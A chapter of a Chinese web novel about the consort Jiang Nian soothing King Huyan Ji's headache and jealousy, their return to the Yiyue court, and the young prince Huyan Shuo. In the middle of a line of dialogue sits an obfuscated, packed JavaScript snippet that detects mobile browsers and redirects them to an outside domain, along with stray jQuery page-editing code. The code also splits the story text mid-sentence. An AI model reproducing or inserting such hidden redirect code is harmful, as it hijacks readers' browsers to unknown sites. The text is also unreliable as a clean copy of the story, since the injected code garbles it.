江念睨着伏地的丑奴,冷冷道:“你这奴才,说什么大王中了巫蛊之术,心空了,亏你胆儿大敢说出口,本妃还没找你算账,你倒自己寻上来,真当我好脾气不计较?立时叫人拖你下去,把你嘴巴,把你那张油嘴打烂了,看你还敢不敢胡诌。” 说着,朝外吩咐:“来人!拉下去!” 丑奴把头嗑得“砰砰”响,说道:“是奴的错,该受责罚,只是求大妃上去瞧一瞧王,当真是犯了头疾,这次再不敢欺瞒。” 江念心里是有些气呼延吉骗自己,可气归气,一听到他有个不好仍是担心。 于是坐着平缓了一会儿才起身,往楼上行去,进到屋里,就见呼延吉背着身侧躺于榻上,她刚往里走一步,呼延吉便大声呵斥:“滚出去!” 江念顿了一下,继续往里走。 “我说滚……”呼延吉头疼得心烦,一转身就要再次呵叱,在见到来人后生生止住了。 然后,转过身继续侧躺着。 江念走到桌边,见上面摆着一碗黑糊糊的汤药,还腾着丝丝热气,端起药碗走到榻边坐下。 “大王起身把汤药喝了,既是头疼需得好好医治。” 江念一手端着药,一手拍了拍呼延吉。 呼延吉不理。 江念便去扯他的胳膊,他仍纹丝不动,于是也不惯他,将药放到床头就要起身离开,衣袖就被勾住。 “我喝。” 呼延吉慢慢从榻上坐起,拿过药碗,一仰头把黑苦的汤药灌了下去,刚拿开碗,嘴里被塞了一颗蜜饯。 “含在嘴里。”江念说着,往他脸上望去,“怎么会犯头疾的?” 呼延吉没有立刻回答,而是说:“再喂我一颗,那药太苦。” 江念又拈了颗蜜饯送到他的嘴里。 “那个时候事务也多,你又寻不着,成日没个好睡,慢慢就开始头疼,先时没当回事,后来日渐狠了起来,不疼时还好,疼起来便受不住。” 江念斜睨他一眼,问道:“大王这次说的可是实话?” 呼延吉握着她的手,微叹道:“这次是真的。” 江念起身往外吩咐,让宫医前来。 不一会儿宫医来了,江念开始询问有关呼延吉头疾的情况,从宫医处了解到呼延吉的头疾已有小半年。 “难道根治不好么?” “这……”宫医吞吞吐吐,委婉道,“只要肯按时用药,配合医治,是可以根除的。” 这话一出,江念还有什么不明白的,换言之就是呼延吉不好好吃药,不配合医治。 这些话放以前,宫医是绝对不敢说的,但是大妃问话那就不一样了,哪怕在君王面前,他们该说还是得说。 “想来你们已有诊治之方,之后便按宫医署商讨的办法给大王治疗。”江念说道。 宫医应下,退去。 江念重新坐回榻沿,又拈了一个蜜饯递到呼延吉嘴边。 她同他经历了这样多的事,不想因着一点小事再闹了,想他自持身份,于是递梯子给他下,抬手摁在他的心口轻揉。 “轲儿也是的,你让他动手他就动手,没个轻重。”江念记得那日呼延吉的面色看着不对,定是受了一记狠击。 呼延吉见江念不怪自己,反倒怨怪江轲,有些告状的意味:“他一贯这样。” 江念横了他一眼,刚要把手拿下,呼延吉立马佯装道:“还有些疼,你再揉揉……” “一会儿我非得狠狠责他几句,太胡来!”江念继续给他轻揉着胸口。 呼延吉同江轲还算兄弟情深,怕一会儿他**念责骂,替他求情:“这事也怨我,他是替我出主意。” 江念无奈地摇了摇头,问道:“头还疼么?” “还是有些。” 江念踢鞋上榻,坐到他的身后:“大王闭上眼,妾身给你按一按。” 说着将微凉的指放在呼延吉的额穴上,慢慢地打圈按压,呼延吉闭上眼,放松身子倚靠着她。 屋室有风动声,还有海浪声,在这自然的静谧中,江念开口问道:“大王为何这样呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976071|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?是不放心妾身么?” 呼延吉闭着眼没说话。 江念又道:“那妾身不开铺子了,回了京都就在王庭好了,哪儿也不去。” 呼延吉睁开眼,笑了笑:“你看,这就是生气了,我可什么都没说。” “那大王是何意呢?闹这样一出,叫妾身怎么想,日后开了铺子,就是请了掌事之人,偶尔也会在外露个脸。” “那怎能一样?你开铺子是开铺子,我绝不说什么。” 江念点了点头:“所以是计较苏和?” 呼延吉也不拐弯抹角:“你对他太好,我不喜。” 江念噗嗤一笑,戏说道:“妾身对他比对大王还好?” 呼延吉一噎:“那倒没有。” 江念放下双臂,转坐到呼延吉身前,说道:“这世上不会再有人像大王这样疼惜我了,而且……” 呼延吉很爱听她讲这话,追问道:“而且什么?” “大王雄躯凛凛,胸有丘壑,腹藏机谋,眉宇间山河峥嵘,乃极尊极贵之人,妾身也想独占。” 呼延吉终是开心地笑起来,头也不觉得疼了。 江念趁着他高兴,继续道:“所以大王全不必忧心,没人能代替大王在妾身心里的位置。” 原本是呼延吉被拆穿,该他向江念赔不是,最后心火一起犯了头疾,换成江念哄他。 不过他二人本是夫妻,也不计较这些,总是想着对方好。 呼延吉在江念这里显得很小心眼,不过江念这些话足以熨帖,他也就不说什么了,他对江念是绝对相信的,只是心里不自主地有些吃味。 除了江轲以外,见不得她对别人好。 海船又行了几日,终是到了夷越近海。 呼延吉命出驶的海船并不靠岸,而是在近海停泊,自己带着江念、云娘等人另乘小船抵岸。 江轲同使臣等一行人滞**船上,停泊一段时日再下船,为的是同呼延吉错开时间。 等江轲一行人靠岸下船,当地官员候列于码头迎接,设下筵宴接风,那时的呼延吉携江念已悄不声儿地入了王庭。 …… 秋月歪靠在床栏,给仰躺在榻上的小王子打扇。 呼延朔如今已有三岁多,会说话,会跑跳,整个王庭,除了祥云殿的高太后和西殿的君王,就数他最尊贵。 他最亲的人是月姑、乳母还有圣祖母,他同父王并不亲,不仅不亲,还有些怕他。 怕自己在他面前说错话,还怕父王说话,更怕父王不说话,怕他瞪视自己,反正,父王的一言一行他都怕。 不过有一点,父王叱骂过西殿所有人却不曾骂他,只是他给他的脸色并不好看。 他也不知道父王为什么总是不开心,自他记事起,父王的眉心没松开过。 不过好在他并不同父王住一起,父王住主殿,他住偏殿,由月姑和乳母照看,平时晨间会去祥云殿陪侍圣祖母。 “月姑,父王是不是不喜欢我?” 秋月一面给小王子打扇一面说道:“小殿下莫要这样想,大王最疼小殿下。” 呼延朔摇了摇头:“父王不喜我,因为我长得不像夷越人,他们说我的母亲是梁人,所以父亲不喜欢我……”